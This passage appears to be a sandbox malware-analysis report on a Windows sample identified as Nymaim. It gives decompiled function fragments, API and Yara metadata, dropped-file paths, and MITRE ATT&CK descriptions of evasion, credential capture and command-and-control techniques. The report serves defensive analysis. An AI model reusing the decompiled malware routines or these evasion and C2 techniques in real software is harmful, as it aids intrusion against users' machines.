					if( *((intOrPtr*)(_t69 + 0xc)) != 0) {
						E00416328(_t50);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0xc)) = 0;
					_t51 =  *((intOrPtr*)(_t69 + 4));
					if( *((intOrPtr*)(_t69 + 4)) != 0) {
						E00416328(_t51);
					}
					 *((intOrPtr*)(_t69 + 4)) = 0;
					_t52 = E0040E4AB(_t69);
					 *[fs:0x0] = _v20;
					return _t52;
				} else {
					E0040E736(_t61, _t68, _t39);
					 *[fs:0x0] = _v16;
					return _t68;
				}
			}

0x00403f13
0x00403f15
0x00403f20
0x00403f21
0x00403f23
0x00403f2a
0x00403f2e
0x00403f34
0x00403f36
0x00403f3b
0x00403f40
0x00403f47
0x00403f4e
0x00403f52
0x00403f59
0x00403f5f
0x00403f66
0x00403f6a
0x00403f6d
0x00403f71
0x00403f74
0x00403f77
0x00403f7a
0x00403f7d
0x00403f80
0x00403f86
0x00403fab
0x00403fb0
0x00403fb1
0x00403fb2
0x00403fb3
0x00403fb4
0x00403fb5
0x00403fb6
0x00403fb7
0x00403fb8
0x00403fb9
0x00403fba
0x00403fbb
0x00403fbc
0x00403fbd
0x00403fbe
0x00403fbf
0x00403fc3
0x00403fc5
0x00403fd0
0x00403fd1
0x00403fd2
0x00403fd9
0x00403fdd
0x00403fe3
0x00403fe6
0x00403feb
0x00403fee
0x00403ff3
0x00403ff6
0x00403ffb
0x00403ffb
0x00403ffe
0x00404005
0x0040400a
0x0040400d
0x00404012
0x00404012
0x00404015
0x0040401c
0x00404021
0x00404024
0x00404029
0x00404029
0x0040402c
0x00404033
0x00404038
0x0040403b
0x00404040
0x00404040
0x00404043
0x0040404a
0x0040404f
0x00404052
0x00404057
0x00404057
0x0040405a
0x00404061
0x00404066
0x00404069
0x0040406e
0x00404073
0x0040407a
0x00404082
0x0040408e
0x00403f88
0x00403f8a
0x00403f97
0x00403fa3
0x00403fa3

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00403F3B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00403F8A

Part of subcall function 0040E736: _Yarn.LIBCPMT ref: 0040E755
Part of subcall function 0040E736: _Yarn.LIBCPMT ref: 0040E779

Strings

bad locale name, xrefs: 00403FA6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: aeed9e1f7c23a3fdefacb5d55b62b84b040096310106447cb1e7f55ede701217
Instruction ID: afbf41e955e5dc3142738863ad6f5a49b3c54233e470d607e4d6f32b15842aba
Opcode Fuzzy Hash: aeed9e1f7c23a3fdefacb5d55b62b84b040096310106447cb1e7f55ede701217
Instruction Fuzzy Hash: 98119171904B849FD320CF69C801747BBF4EB19714F004A6FE459D3B81D7B9A504CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00409240 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409240(void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				short _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* __ebx;
				signed int _t10;
				intOrPtr _t13;
				void* _t25;
				void* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t10 =  *0x43d054; // 0xd71f2cec
				_v8 = _t10 ^ _t28;
				_v24 = 0x5c5a5d08;
				_v20 = 0x13434f4b;
				_t22 =  *((intOrPtr*)( *[fs:0x2c]));
				_t13 =  *0x450f2c; // 0x80000019
				_v16 = 0x5a564743;
				_v12 = 0x4159;
				if(_t13 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
					E0040F2F9(_t13, 0x450f2c);
					_t33 =  *0x450f2c - 0xffffffff;
					if( *0x450f2c == 0xffffffff) {
						asm("movq xmm0, [ebp-0x14]");
						 *0x450f60 = _v16;
						asm("movq [0x450f58], xmm0");
						 *0x450f64 = _v12;
						 *0x450f66 = 0x2e;
						E0040F60B(_t22, _t33, 0x42d880);
						E0040F2AF(0x450f2c);
					}
				}
				return E0040EF6F(0x450f58, 0x2e, _v8 ^ _t28, _t25, _t26, _t27);
			}

0x00409240
0x00409240
0x00409240
0x00409246
0x0040924d
0x00409257
0x00409260
0x00409267
0x00409269
0x0040926e
0x00409275
0x00409281
0x00409288
0x00409290
0x00409297
0x0040929c
0x004092a1
0x004092af
0x004092b7
0x004092bd
0x004092c3
0x004092cd
0x004092d2
0x00409297
0x004092e8

APIs

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 004092CD

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

Strings

CGVZ, xrefs: 0040926E
YA, xrefs: 00409275

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CGVZ$YA
API String ID: 2296764815-3168216772
Opcode ID: 853f8c4f451158ea16b336065bf7f60cfab3d40dd2c58e15d5ca6a029dd6a59f
Instruction ID: b1adbed23fda0dac6b126c772a6384520d2afcce7f075d35318d34cb9f8e8081
Opcode Fuzzy Hash: 853f8c4f451158ea16b336065bf7f60cfab3d40dd2c58e15d5ca6a029dd6a59f
Instruction Fuzzy Hash: D7010839E003089BC720DFB4ED4159DB3B0AB19305F6005BEE80577392D7B99A05CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00409410(void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				short _v12;
				intOrPtr _v16;
				void* __ebx;
				signed int _t8;
				intOrPtr _t11;
				void* _t23;
				void* _t24;
				void* _t25;
				signed int _t26;

				_t25 = __esi;
				_t24 = __edi;
				_t23 = __edx;
				_t8 =  *0x43d054; // 0xd71f2cec
				_v8 = _t8 ^ _t26;
				_v16 = 0x5e004041;
				_v12 = 0x5e46;
				_t20 =  *((intOrPtr*)( *[fs:0x2c]));
				_t11 =  *0x450f80; // 0x8000001c
				if(_t11 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
					E0040F2F9(_t11, 0x450f80);
					_t31 =  *0x450f80 - 0xffffffff;
					if( *0x450f80 == 0xffffffff) {
						asm("movaps xmm0, [0x439d60]");
						 *0x450dc8 = _v16;
						asm("movups [0x450db8], xmm0");
						 *0x450dcc = _v12;
						 *0x450dce = 0x2e;
						E0040F60B(_t20, _t31, 0x42d810);
						E0040F2AF(0x450f80);
					}
				}
				return E0040EF6F(0x450db8, 0x2e, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x00409410
0x00409410
0x00409410
0x00409416
0x0040941d
0x00409427
0x00409430
0x00409436
0x00409438
0x00409443
0x0040944a
0x00409452
0x00409459
0x0040945e
0x00409465
0x00409473
0x0040947a
0x00409480
0x00409486
0x00409490
0x00409495
0x00409459
0x004094ab

APIs

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 00409490

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

Strings

F^, xrefs: 00409430
A@, xrefs: 00409427

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: A@$F^
API String ID: 2296764815-756130965
Opcode ID: 6536647e802864dc0dd94d8607afc2599e99442e3c9132f9e677d5dd7ab92d90
Instruction ID: 0ad18ee1e61cae87dd63116e7436cab0627a31b7cc52041ddf3421cfead66bf7
Opcode Fuzzy Hash: 6536647e802864dc0dd94d8607afc2599e99442e3c9132f9e677d5dd7ab92d90
Instruction Fuzzy Hash: 5201D239A003049BC360DFA9EC4259CB370FF19701FA0417AE904A73A2D639A989CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00403D90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00403D90(intOrPtr* __ecx, intOrPtr _a4) {
				intOrPtr* _t16;
				intOrPtr _t18;

				_t18 = _a4;
				asm("xorps xmm0, xmm0");
				_t16 = __ecx;
				 *__ecx = 0x42e2d4;
				asm("movq [eax], xmm0");
				E00410321(_t18 + 4, __ecx + 4);
				 *_t16 = 0x439c98;
				 *((intOrPtr*)(_t16 + 0xc)) =  *((intOrPtr*)(_t18 + 0xc));
				 *((intOrPtr*)(_t16 + 0x10)) =  *((intOrPtr*)(_t18 + 0x10));
				 *_t16 = 0x439d04;
				return _t16;
			}

0x00403d94
0x00403d97
0x00403d9b
0x00403da1
0x00403da7
0x00403daf
0x00403db4
0x00403dc3
0x00403dc8
0x00403dcb
0x00403dd4

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00403DAF

Strings

`=@, xrefs: 00403DB4
`=@, xrefs: 00403DCB

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: `=@$`=@
API String ID: 2659868963-2373854662
Opcode ID: d2b7e12d725322380b60ae2ce1c234a2bf32db9f9cfd16f19f535269d49cbc33
Instruction ID: edf3ecf0d81859b0b5ed8475f2b63cd79415b770586f3f5d47e745d048bbbed2
Opcode Fuzzy Hash: d2b7e12d725322380b60ae2ce1c234a2bf32db9f9cfd16f19f535269d49cbc33
Instruction Fuzzy Hash: 48F01CB6A00709AB8700CF5AD400882F7ECFE59320314C62BE519D7700F7B4A854CBA4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Nymaim

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\fhSearcher\checksums.txt (copy)

C:\Program Files (x86)\fhSearcher\completed.wav (copy)

C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

C:\Program Files (x86)\fhSearcher\history.rtf (copy)

C:\Program Files (x86)\fhSearcher\is-0VGVN.tmp

C:\Program Files (x86)\fhSearcher\is-3Q439.tmp

C:\Program Files (x86)\fhSearcher\is-85VLV.tmp

C:\Program Files (x86)\fhSearcher\is-EDSG9.tmp

C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp

C:\Program Files (x86)\fhSearcher\is-GU8EV.tmp

C:\Program Files (x86)\fhSearcher\is-JIHKQ.tmp

C:\Program Files (x86)\fhSearcher\is-JVFH1.tmp

C:\Program Files (x86)\fhSearcher\is-PTQPH.tmp

C:\Program Files (x86)\fhSearcher\license_en.rtf (copy)

C:\Program Files (x86)\fhSearcher\license_ru.rtf (copy)

Windows Analysis Report
file.exe

Function 0040980C Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Function 0040515C Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Function 00409664 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
windowprocessCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre